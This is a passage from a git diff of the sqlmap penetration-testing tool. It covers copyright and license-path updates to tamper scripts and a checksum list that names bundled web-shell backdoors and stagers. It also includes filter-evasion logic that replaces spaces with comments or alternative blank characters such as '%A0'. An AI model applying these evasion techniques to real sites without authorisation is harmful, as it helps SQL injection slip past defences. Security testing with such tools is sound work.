continue + + elif payload[i] == '\'': + quote = not quote + + elif payload[i] == '"': + doublequote = not doublequote + + elif payload[i] == " " and not doublequote and not quote: + retVal += "/**_**/" + continue + + retVal += payload[i] + + return retVal diff --git a/tamper/space2morehash.py b/tamper/space2morehash.py index ccd20404bc2..aa5df6f1a5f 100644 --- a/tamper/space2morehash.py +++ b/tamper/space2morehash.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os diff --git a/tamper/space2mssqlblank.py b/tamper/space2mssqlblank.py index 0502af24a1e..8a1ba82a4d9 100644 --- a/tamper/space2mssqlblank.py +++ b/tamper/space2mssqlblank.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os diff --git a/tamper/space2mssqlhash.py b/tamper/space2mssqlhash.py index 030ebb13e8f..e50a560c69a 100644 --- a/tamper/space2mssqlhash.py +++ b/tamper/space2mssqlhash.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY diff --git a/tamper/space2mysqlblank.py b/tamper/space2mysqlblank.py index 91ac1f40ced..ed024252994 100644 --- a/tamper/space2mysqlblank.py +++ b/tamper/space2mysqlblank.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os @@ -33,7 +33,7 @@ def tamper(payload, **kwargs): >>> random.seed(0) >>> tamper('SELECT id FROM users') - 'SELECT%0Bid%0DFROM%0Cusers' + 'SELECT%A0id%0BFROM%0Cusers' """ # ASCII table: @@ -42,7 +42,8 @@ def tamper(payload, **kwargs): # FF 0C new page # CR 0D carriage return # VT 0B vertical TAB (MySQL and Microsoft SQL Server only) - blanks = ('%09', '%0A', '%0C', '%0D', '%0B') + # A0 non-breaking space + blanks = ('%09', '%0A', '%0C', '%0D', '%0B', '%A0') retVal = payload if payload: diff --git a/tamper/space2mysqldash.py b/tamper/space2mysqldash.py index 84e5681a95a..f351079028c 100644 --- a/tamper/space2mysqldash.py +++ b/tamper/space2mysqldash.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os diff --git a/tamper/space2plus.py b/tamper/space2plus.py index 2ffafc728b5..1fa867490aa 100644 --- a/tamper/space2plus.py +++ b/tamper/space2plus.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY diff --git a/tamper/space2randomblank.py b/tamper/space2randomblank.py index 4469dde7c29..c61a3a3f4dc 100644 --- a/tamper/space2randomblank.py +++ b/tamper/space2randomblank.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import random diff --git a/tamper/symboliclogical.py b/tamper/symboliclogical.py index fe4abc42c4f..ea34b54c98b 100644 --- a/tamper/symboliclogical.py +++ b/tamper/symboliclogical.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/tamper/unionalltounion.py b/tamper/unionalltounion.py index ff981490e4c..f5d759412e4 100644 --- a/tamper/unionalltounion.py +++ b/tamper/unionalltounion.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY diff --git a/tamper/unmagicquotes.py b/tamper/unmagicquotes.py index c57732eddb3..f26d0ac04bb 100644 --- a/tamper/unmagicquotes.py +++ b/tamper/unmagicquotes.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/tamper/uppercase.py b/tamper/uppercase.py index 5b6dcdaeb3e..64382c4e122 100644 --- a/tamper/uppercase.py +++ b/tamper/uppercase.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/tamper/varnish.py b/tamper/varnish.py index 0dd3cadd28e..fdc6fb09bad 100644 --- a/tamper/varnish.py +++ b/tamper/varnish.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY diff --git a/tamper/versionedkeywords.py b/tamper/versionedkeywords.py index 9f4ed8637e6..920d88d18fc 100644 --- a/tamper/versionedkeywords.py +++ b/tamper/versionedkeywords.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os diff --git a/tamper/versionedmorekeywords.py b/tamper/versionedmorekeywords.py index 01081f173e5..1fe5adf5636 100644 --- a/tamper/versionedmorekeywords.py +++ b/tamper/versionedmorekeywords.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os diff --git a/tamper/xforwardedfor.py b/tamper/xforwardedfor.py index b6bf0249156..4374a4862b1 100644 --- a/tamper/xforwardedfor.py +++ b/tamper/xforwardedfor.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY diff --git a/thirdparty/pagerank/__init__.py b/thirdparty/pagerank/__init__.py deleted file mode 100644 index 67837734347..00000000000 --- a/thirdparty/pagerank/__init__.py +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python -# -# The MIT License -# -# Copyright 2010 Corey Goldberg -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. -# - -pass diff --git a/thirdparty/pagerank/pagerank.py b/thirdparty/pagerank/pagerank.py deleted file mode 100644 index 85dbe82fa77..00000000000 --- a/thirdparty/pagerank/pagerank.py +++ /dev/null @@ -1,87 +0,0 @@ -#!/usr/bin/env python -# -# Script for getting Google Page Rank of page -# Google Toolbar 3.0.x/4.0.x Pagerank Checksum Algorithm -# -# original from http://pagerank.gamesaga.net/ -# this version was adapted from http://www.djangosnippets.org/snippets/221/ -# by Corey Goldberg - 2010 -# -# important update (http://www.seroundtable.com/google-pagerank-change-14132.html) -# by Miroslav Stampar - 2012 -# -# Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php - -import sys -import urllib -import urllib2 - -def get_pagerank(url, timeout=10): - url = url.encode('utf8') if isinstance(url, unicode) else url - _ = 'http://toolbarqueries.google.com/tbr?client=navclient-auto&features=Rank&ch=%s&q=info:%s' % (check_hash(hash_url(url)), urllib.quote(url)) - try: - req = urllib2.Request(_) - rank = urllib2.urlopen(req, timeout=timeout).read().strip()[9:] - except: - rank = 'N/A' - else: - rank = '0' if not rank or not rank.isdigit() else rank - return rank - -def int_str(string_, integer, factor): - for i in xrange(len(string_)) : - integer *= factor - integer &= 0xFFFFFFFF - integer += ord(string_[i]) - - return integer - -def hash_url(string_): - c1 = int_str(string_, 0x1505, 0x21) - c2 = int_str(string_, 0, 0x1003F) - - c1 >>= 2 - c1 = ((c1 >> 4) & 0x3FFFFC0) | (c1 & 0x3F) - c1 = ((c1 >> 4) & 0x3FFC00) | (c1 & 0x3FF) - c1 = ((c1 >> 4) & 0x3C000) | (c1 & 0x3FFF) - - t1 = (c1 & 0x3C0) << 4 - t1 |= c1 & 0x3C - t1 = (t1 << 2) | (c2 & 0xF0F) - - t2 = (c1 & 0xFFFFC000) << 4 - t2 |= c1 & 0x3C00 - t2 = (t2 << 0xA) | (c2 & 0xF0F0000) - - return (t1 | t2) - -def check_hash(hash_int): - hash_str = '%u' % (hash_int) - flag = 0 - check_byte = 0 - - i = len(hash_str) - 1 - while i >= 0: - byte = int(hash_str[i]) - if 1 == (flag % 2): - byte *= 2; - byte = byte / 10 + byte % 10 - check_byte += byte - flag += 1 - i -= 1 - - check_byte %= 10 - if 0 != check_byte: - check_byte = 10 - check_byte - if 1 == flag % 2: - if 1 == check_byte % 2: - check_byte += 9 - check_byte >>= 1 - - return '7' + str(check_byte) + hash_str - -def main(): - print get_pagerank(sys.argv[1]) if len(sys.argv) > 1 else "[x] missing hostname" - -if __name__ == "__main__": - main() diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 1bfdbb22458..56fec0b03d3 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -1,280 +1,286 @@ -ecbd9fdf665996335f28b11384f7a018 extra/beep/beep.py -310efc965c862cfbd7b0da5150a5ad36 extra/beep/__init__.py -ce1cf663c3aeb83ed9663d5d616f5cc3 extra/cloak/cloak.py -310efc965c862cfbd7b0da5150a5ad36 extra/cloak/__init__.py -74f737bb727f781d6aaebcb0482189f0 extra/dbgtool/dbgtool.py -310efc965c862cfbd7b0da5150a5ad36 extra/dbgtool/__init__.py +4cb52d99ae953f04fb0f17825b0dabc4 extra/beep/beep.py +1e5532ede194ac9c083891c2f02bca93 extra/beep/__init__.py +b0eb597c613afeff9d62898cf4c67a56 extra/cloak/cloak.py +1e5532ede194ac9c083891c2f02bca93 extra/cloak/__init__.py +e0911386106b95d2ba4b12d651b2eb16 extra/dbgtool/dbgtool.py +1e5532ede194ac9c083891c2f02bca93 extra/dbgtool/__init__.py acba8b5dc93db0fe6b2b04ff0138c33c extra/icmpsh/icmpsh.exe_ 2176d964f2d5ba2d871383d6a1868b8f extra/icmpsh/icmpsh_m.py 2d020d2bdcee1170805f48839fdb89df extra/icmpsh/__init__.py -310efc965c862cfbd7b0da5150a5ad36 extra/__init__.py -c7973dc651586ba26d9553ad1ecfee74 extra/mssqlsig/update.py -310efc965c862cfbd7b0da5150a5ad36 extra/safe2bin/__init__.py -d3e99da5b5c2209e97836af9098124ee extra/safe2bin/safe2bin.py +1e5532ede194ac9c083891c2f02bca93 extra/__init__.py +27629e01ba722271c990ad4b27151917 extra/mssqlsig/update.py +ff90cb0366f7cefbdd6e573e27e6238c extra/runcmd/runcmd.exe_ +1e5532ede194ac9c083891c2f02bca93 extra/safe2bin/__init__.py +b6c0f2047e9bea90f4d5c5806c0f6a9a extra/safe2bin/safe2bin.py d229479d02d21b29f209143cb0547780 extra/shellcodeexec/linux/shellcodeexec.x32_ 2fe2f94eebc62f7614f0391a8a90104f extra/shellcodeexec/linux/shellcodeexec.x64_ c55b400b72acc43e0e59c87dd8bb8d75 extra/shellcodeexec/windows/shellcodeexec.x32.exe_ -3c07d5ecd7208748892c0459f6ca084a extra/shutils/duplicates.py -8cd064eea3506e5dd913e03171bc418f extra/shutils/pylint.py -02b87ce441efb4e9e6249237a6ce9655 extra/shutils/regressiontest.py -310efc965c862cfbd7b0da5150a5ad36 extra/sqlharvest/__init__.py -7713aa366c983cdf1f3dbaa7383ea9e1 extra/sqlharvest/sqlharvest.py -5df358defc488bee9b40084892e3d1cb lib/controller/action.py -699fd4757390aedb5ad17f4316d17972 lib/controller/checks.py -10edc8d1057e89c145218d4c5ccaaa31 lib/controller/controller.py -b3eec7f44bcc5d784d171a187b7fe8cb lib/controller/handler.py -310efc965c862cfbd7b0da5150a5ad36 lib/controller/__init__.py -178066b5737f0e719cbf9271051559a2 lib/core/agent.py -6cc95a117fbd34ef31b9aa25520f0e31 lib/core/bigarray.py -445bd2c2fe0dcca0dd3aab87eb3839d3 lib/core/common.py -5065a4242a8cccf72f91e22e1007ae63 lib/core/convert.py -a8143dab9d3a27490f7d49b6b29ea530 lib/core/data.py -7936d78b1a7f1f008ff92bf2f88574ba lib/core/datatype.py -36c85e9ef109c5b4af3ca9bb1065ef1f lib/core/decorators.py -47eecd5499eaa15e931793e1d1ac3566 lib/core/defaults.py -4029f6869b36eb5f796c2bcc948f4fae lib/core/dicts.py -77edcfd3d7c5522bb64baf59ac23a047 lib/core/dump.py -0c0f18761e9bb61d289bfa884dcd7dbd lib/core/enums.py -9381a0c7e8bc19986299e84f4edda1a0 lib/core/exception.py -310efc965c862cfbd7b0da5150a5ad36 lib/core/__init__.py -9ba39bf66e9ecd469446bdbbeda906c3 lib/core/log.py -e544108e2238d756c94a240e8a1ce061 lib/core/optiondict.py -44a61841bcd0bafc4151e31d5a14287d lib/core/option.py -5f2f56e6c5f274408df61943f1e080c0 lib/core/profiling.py -40be71cd774662a7b420caeb7051e7d5 lib/core/readlineng.py -d8e9250f3775119df07e9070eddccd16 lib/core/replication.py -785f86e3f963fa3798f84286a4e83ff2 lib/core/revision.py -40c80b28b3a5819b737a5a17d4565ae9 lib/core/session.py -75d8ca625f08e39702965b2b3569b5d8 lib/core/settings.py -d91291997d2bd2f6028aaf371bf1d3b6 lib/core/shell.py -2ad85c130cc5f2b3701ea85c2f6bbf20 lib/core/subprocessng.py -afd0636d2e93c23f4f0a5c9b6023ea17 lib/core/target.py -8970b88627902239d695280b1160e16c lib/core/testing.py -ce5578a2e6b25dc6fd115133f92e0643 lib/core/threads.py -ad74fc58fc7214802fd27067bce18dd2 lib/core/unescaper.py -1f1fa616b5b19308d78c610ec8046399 lib/core/update.py -4d13ed693401a498b6d073a2a494bd83 lib/core/wordlist.py -310efc965c862cfbd7b0da5150a5ad36 lib/__init__.py -8c4b04062db2245d9e190b413985202a lib/parse/banner.py -7af43d486b7183862b932218ed4c988d lib/parse/cmdline.py -1a71306c965d563ae2d01e4c48646030 lib/parse/configfile.py -14539f1be714d4f1ed042067d63bc50a lib/parse/handler.py -64e5bb3ecbdd75144500588b437ba8da lib/parse/headers.py -165dc27660c8559318009d44354f27cb lib/parse/html.py -310efc965c862cfbd7b0da5150a5ad36 lib/parse/__init__.py -0b010b7cdb2e42b5aa0caa59607279ad lib/parse/payloads.py -a0444cc351cd6d29015ad16d9eb46ff4 lib/parse/sitemap.py -403d873f1d2fd0c7f73d83f104e41850 lib/request/basicauthhandler.py -c347898f7b2e3d59d0a108b16b0542a3 lib/request/basic.py -4e89d0e13de2eb3576f5412b21e9b648 lib/request/comparison.py -30d7b0df341762c5aa7aab537878ce05 lib/request/connect.py -fb6b788d0016ab4ec5e5f661f0f702ad lib/request/direct.py -cc1163d38e9b7ee5db2adac6784c02bb lib/request/dns.py -5dcdb37823a0b5eff65cd1018bcf09e4 lib/request/httpshandler.py -310efc965c862cfbd7b0da5150a5ad36 lib/request/__init__.py -e68e1f00c7bb47b2c4ea6201995c56fb lib/request/inject.py -dc1e0af84ee8eb421797d61c8cb8f172 lib/request/methodrequest.py -bb9c165b050f7696b089b96b5947fac3 lib/request/pkihandler.py -602d4338a9fceaaee40c601410d8ac0b lib/request/rangehandler.py -e687a727b641211dfae7346b671059c5 lib/request/redirecthandler.py -20a0e6dac2edcf98fa8c47ee9a332c28 lib/request/templates.py -36518b36ae0cf199490457916a85b367 lib/takeover/abstraction.py -c6bc7961a186baabe0a9f5b7e0d8974b lib/takeover/icmpsh.py -310efc965c862cfbd7b0da5150a5ad36 lib/takeover/__init__.py -71d45fd7f11804872284ee3ae5e60970 lib/takeover/metasploit.py -ac541a0d38e4ecb4e41e97799a7235f4 lib/takeover/registry.py -4cd0322f22fbc26284cffa9f8f7545ef lib/takeover/udf.py -a610e0ef2fb8512604c2b6c081174850 lib/takeover/web.py -e5a82481947e798d0c11f3acf3e9db60 lib/takeover/xp_cmdshell.py -cae752650755c706272a45ae84519a4b lib/techniques/blind/inference.py -310efc965c862cfbd7b0da5150a5ad36 lib/techniques/blind/__init__.py -310efc965c862cfbd7b0da5150a5ad36 lib/techniques/brute/__init__.py -b24fa5fe58828e00a84991015c561f59 lib/techniques/brute/use.py -310efc965c862cfbd7b0da5150a5ad36 lib/techniques/dns/__init__.py -ab1601a7f429b47637c4fb8af703d0f1 lib/techniques/dns/test.py -d3da4c7ceaf57c4687a052d58722f6bb lib/techniques/dns/use.py -310efc965c862cfbd7b0da5150a5ad36 lib/techniques/error/__init__.py -2fb0eb698fc9d6e19960d2136bce787d lib/techniques/error/use.py -310efc965c862cfbd7b0da5150a5ad36 lib/techniques/__init__.py -310efc965c862cfbd7b0da5150a5ad36 lib/techniques/union/__init__.py -4bed3ed51faad9b910899cacf56e8eac lib/techniques/union/test.py -8cd5655c60a638caa30ca1220896aeda lib/techniques/union/use.py -b3afde39a56dd767f5338ba6464b9f43 lib/utils/api.py -6842092e1d27b71d28acd0e421f90693 lib/utils/crawler.py -ba12c69a90061aa14d848b8396e79191 lib/utils/deps.py -3b9fd519164e0bf275d5fd361c3f11ff lib/utils/getch.py -ccfdad414ce2ec0c394c3deaa39a82bf lib/utils/hashdb.py -aff7355d582fc6c00a675eeee2a5217a lib/utils/hash.py -e76a08237ee6a4cd6855af79610ea8a5 lib/utils/htmlentities.py -310efc965c862cfbd7b0da5150a5ad36 lib/utils/__init__.py -8e4ecc5e5bd8a5c7e2ad0a940cb1a5b1 lib/utils/pivotdumptable.py -8520a745c9b4db3814fe46f4c34c6fbc lib/utils/progress.py -2c3638d499f3c01c34187e531f77d004 lib/utils/purge.py -2da1b35339667646e51101adaa1dfc32 lib/utils/search.py -569521a83b2b6c62497879267b963b21 lib/utils/sqlalchemy.py -caeea96ec9c9d489f615f282259b32ca lib/utils/timeout.py -0b84e74f9eb7681bab7364617e2f2577 lib/utils/versioncheck.py -31c51a3cc73120ee9490f2e3fa6d0dca lib/utils/xrange.py -b90aae84100a6c4c2bd5eeb4197fbc6e plugins/dbms/access/connector.py -a71f7c8ffcb9b250cc785cad830e8980 plugins/dbms/access/enumeration.py -38a0c758d9b86915fce894b779e79e4d plugins/dbms/access/filesystem.py -818482929a68a270bc4331cf6c436d13 plugins/dbms/access/fingerprint.py -5a691580a59eca29bae2283b57682025 plugins/dbms/access/__init__.py -c12f4f266830636462eac98e35ebb73e plugins/dbms/access/syntax.py -3fc75c350a30597962bc692c973eeeb3 plugins/dbms/access/takeover.py -a763887d6e6e99c5a73d9cf450cd84fe plugins/dbms/db2/connector.py -c1f6eeb6fccbcb75b53566568c582e9c plugins/dbms/db2/enumeration.py -667e50aa06883f0f194bef335015d694 plugins/dbms/db2/filesystem.py -d82e641f156d7c0fe015510a2f593b16 plugins/dbms/db2/fingerprint.py -35ed6e262cf68d4ab2c6111dd5fb0414 plugins/dbms/db2/__init__.py -ce8bc86383f2ade41e08f2dbee1844bf plugins/dbms/db2/syntax.py -744fb5044f2b9f9d5ebda6e3f08e3be7 plugins/dbms/db2/takeover.py -b8dcd6e97166f58ee452e68c46bfe2c4 plugins/dbms/firebird/connector.py -147afe5f4a3d09548a8a1dbc954fe29e plugins/dbms/firebird/enumeration.py -4e421504f59861bf1ed1a89abda583d1 plugins/dbms/firebird/filesystem.py -fc6fdb1fb1be84db541995c87746efe1 plugins/dbms/firebird/fingerprint.py -f86ace7fcaea5ff3f9e86ab2dce052c5 plugins/dbms/firebird/__init__.py -04f7c2977ab5198c6f4aa6233b872ae0 plugins/dbms/firebird/syntax.py -1cb1ab93e4b8c97e81586acfe4d030a2 plugins/dbms/firebird/takeover.py -3a97bd07cce66bc812309341e7b54697 plugins/dbms/hsqldb/connector.py -015281fb8f96dbade0d2e30fc8da9c4c plugins/dbms/hsqldb/enumeration.py -c0b14e62e1ecbb679569a1abb9cf1913 plugins/dbms/hsqldb/filesystem.py -205ec651547b3fef04afc9580ab35672 plugins/dbms/hsqldb/fingerprint.py -0b18e3cf582b128cf9f16ee34ef85727 plugins/dbms/hsqldb/__init__.py -65e8f8edc9d18fe482deb474a29f83ff plugins/dbms/hsqldb/syntax.py -0a1584e2b01f33abe3ef91d99bafbd3f plugins/dbms/hsqldb/takeover.py -f8eaeb71239369e6ceff47596439871b plugins/dbms/informix/connector.py -989e75a65503dd648a45258217ae3371 plugins/dbms/informix/enumeration.py -667e50aa06883f0f194bef335015d694 plugins/dbms/informix/filesystem.py -df241894bc46576590fae7809650aa58 plugins/dbms/informix/fingerprint.py -859d2ed1e0c1b8a1b92c8b2044e6afc5 plugins/dbms/informix/__init__.py -0aa8ec7b83435a1ecec19c5320728051 plugins/dbms/informix/syntax.py -744fb5044f2b9f9d5ebda6e3f08e3be7 plugins/dbms/informix/takeover.py -310efc965c862cfbd7b0da5150a5ad36 plugins/dbms/__init__.py -e50b624ff23c3e180d80e065deb1763f plugins/dbms/maxdb/connector.py -cbd90f22ce862409fe392e65f0ea94ac plugins/dbms/maxdb/enumeration.py -815ea8e7b9bd714d73d9d6c454aff774 plugins/dbms/maxdb/filesystem.py -30ace2bbd22cf6152e4a7e9d8176bdc1 plugins/dbms/maxdb/fingerprint.py -c03001c1f70e76de39d26241dfcbd033 plugins/dbms/maxdb/__init__.py -e6036f5b2e39aec37ba036a8cf0efd6f plugins/dbms/maxdb/syntax.py -0be362015605e26551e5d79cc83ed466 plugins/dbms/maxdb/takeover.py -e3e78fab9b5eb97867699f0b20e59b62 plugins/dbms/mssqlserver/connector.py -a7ed0510e47384eaf93164d53e2b6b36 plugins/dbms/mssqlserver/enumeration.py -8554437c437052c30237be170ba8ce3a plugins/dbms/mssqlserver/filesystem.py -4e4bb17dfb175b5f6485d7513e4c8fb1 plugins/dbms/mssqlserver/fingerprint.py -40bd890988f9acd3942255d687445371 plugins/dbms/mssqlserver/__init__.py -400ce654ff6bc57a40fb291322a18282 plugins/dbms/mssqlserver/syntax.py -20c669e084ea4d6b968a5834f7fec66c plugins/dbms/mssqlserver/takeover.py -48fb283a0dbf980495ca054f7b55783f plugins/dbms/mysql/connector.py -7fe94b803fa273baf479b76ce7a3fb51 plugins/dbms/mysql/enumeration.py -1bd5e659962e814b66a451b807de9110 plugins/dbms/mysql/filesystem.py -e9076fe684eb3fe037f945601c7017f0 plugins/dbms/mysql/fingerprint.py -42568a66a13a43ed46748290c503a652 plugins/dbms/mysql/__init__.py -96dfafcc4aecc1c574148ac05dbdb6da plugins/dbms/mysql/syntax.py -33b2dc28075ab560fd8a4dc898682a0d plugins/dbms/mysql/takeover.py -ea4b9cd238075b79945bd2607810934a plugins/dbms/oracle/connector.py -3a08ef0037de6df9f9a92ec5b126d705 plugins/dbms/oracle/enumeration.py -dc5962a1d4d69d4206b6c03e00e7f33d plugins/dbms/oracle/filesystem.py -d19215a6aee5d04d67ee67eb2cac9893 plugins/dbms/oracle/fingerprint.py -25a99a9dd7072b6b7346438599c78050 plugins/dbms/oracle/__init__.py -783d4795fac75f73a7cfba3cd9c3d01c plugins/dbms/oracle/syntax.py -c05176f6efe66069756fb78dfa0ed3f6 plugins/dbms/oracle/takeover.py -e087d54b9b2617a9f40be15a2bd478c2 plugins/dbms/postgresql/connector.py -8377c5ab3de500f9a495fcd9e2a75d3e plugins/dbms/postgresql/enumeration.py -48822058c620ffaa2acc599b4d39c667 plugins/dbms/postgresql/filesystem.py -1d514afa3106fa5fbd6fa2dd33970917 plugins/dbms/postgresql/fingerprint.py -a3a4e82e9a68329c44762897c87acfec plugins/dbms/postgresql/__init__.py -76bde1ffb3040ae709156449a583e9ed plugins/dbms/postgresql/syntax.py -286f95526a6ce0b8ae9bff6fc3117af0 plugins/dbms/postgresql/takeover.py -719fdd12e360458e822950f245d67ad0 plugins/dbms/sqlite/connector.py -28b9d7d0614e52275a30b5a57fc76027 plugins/dbms/sqlite/enumeration.py -954e503cfc8dd1acf9fc50868f5dafb0 plugins/dbms/sqlite/filesystem.py -60febaa44bd2fe5919e80e3bd7f0c2dd plugins/dbms/sqlite/fingerprint.py -6b17cc8cc94a912a0a5cf15acbad5ba4 plugins/dbms/sqlite/__init__.py -4827722159a89652005f49265bb55c43 plugins/dbms/sqlite/syntax.py -02ab8ff465da9dd31ffe6a963c676180 plugins/dbms/sqlite/takeover.py -e3e78fab9b5eb97867699f0b20e59b62 plugins/dbms/sybase/connector.py -a7f4d3a194f52fbb4fb4488be41273b1 plugins/dbms/sybase/enumeration.py -62d772c7cd08275e3503304ba90c4e8a plugins/dbms/sybase/filesystem.py -9e3e9a1f8dd491a95e833155a4157662 plugins/dbms/sybase/fingerprint.py -45436a42c2bb8075e1482a950d993d55 plugins/dbms/sybase/__init__.py -89412a921c8c598c19d36762d5820f05 plugins/dbms/sybase/syntax.py -654cd5e69cf5e5c644bfa5d284e61206 plugins/dbms/sybase/takeover.py -1f46f2eac95cfdc3fa150ec5b0500eba plugins/generic/connector.py -a8f9d0516509e9e4226516ab4f13036a plugins/generic/custom.py -3b54fd65feb9f70c551d315e82653384 plugins/generic/databases.py -085f839221138aa7931bd94c33a32768 plugins/generic/entries.py -55802d1d5d65938414c77ccc27731cab plugins/generic/enumeration.py -b6666109aa6882ca9c526d615c1bcde3 plugins/generic/filesystem.py -feca57a968c528a2fe3ccafbc83a17f8 plugins/generic/fingerprint.py -310efc965c862cfbd7b0da5150a5ad36 plugins/generic/__init__.py -8fd5913823e97e21a8eea717cd12fc96 plugins/generic/misc.py -64b052d1df6d7fe34d73b51196f68ae3 plugins/generic/search.py -dca509ef83bf7d74ad26ebe4a03e4c6a plugins/generic/syntax.py -25cc2788cc3da6f8a0bcff0e41ff586e plugins/generic/takeover.py -02c8da99874f1cfd869d9e3bbb7c84e6 plugins/generic/users.py -310efc965c862cfbd7b0da5150a5ad36 plugins/__init__.py -b04db3e861edde1f9dd0a3850d5b96c8 shell/backdoor.asp_ -158bfa168128393dde8d6ed11fe9a1b8 shell/backdoor.aspx_ -1add5a9a67539e7fd1999c8c20a69d15 shell/backdoor.jsp_ -09fc3ed6543f4d1885e338b271e5e97a shell/backdoor.php_ -ff90cb0366f7cefbdd6e573e27e6238c shell/runcmd.exe_ -0e7aba05423c272f051f31165b0e416d shell/stager.asp_ -c3cc8b7727161e64ab59f312c33b541a shell/stager.aspx_ -1f7f125f30e0e800beb21e2ebbab18e1 shell/stager.jsp_ -01e3505e796edf19aad6a996101c81c9 shell/stager.php_ -0751a45ac4c130131f2cdb74d866b664 sqlmapapi.py -dee6a537359c049dabe4ffe3de881359 sqlmap.py -08c711a470d7e0bf705320ba3c48b886 tamper/apostrophemask.py -e8509df10d3f1c28014d7825562d32dd tamper/apostrophenullencode.py -bb27f7dc980ea07fcfedbd7da5e5e029 tamper/appendnullbyte.py -0a7d524cad9459fd80f505605975249b tamper/base64encode.py -1fc7c46856bed22f5610d78330e1ffcf tamper/between.py -e6e3ae32bc3c3d5acb4b93289e3fe698 tamper/bluecoat.py -8576274cc84f77a7cfd936521e89397c tamper/chardoubleencode.py -6a7a04c35b6d5853ad6f449581c79ce4 tamper/charencode.py -893e7d907bcd370394b70a30d502be2b tamper/charunicodeencode.py -596883203fbdd81ee760e4a00071bf39 tamper/commalesslimit.py -f341a48112354a50347546fa73f4f531 tamper/commalessmid.py -28c21fd9c9801d398698c646bb894260 tamper/concat2concatws.py 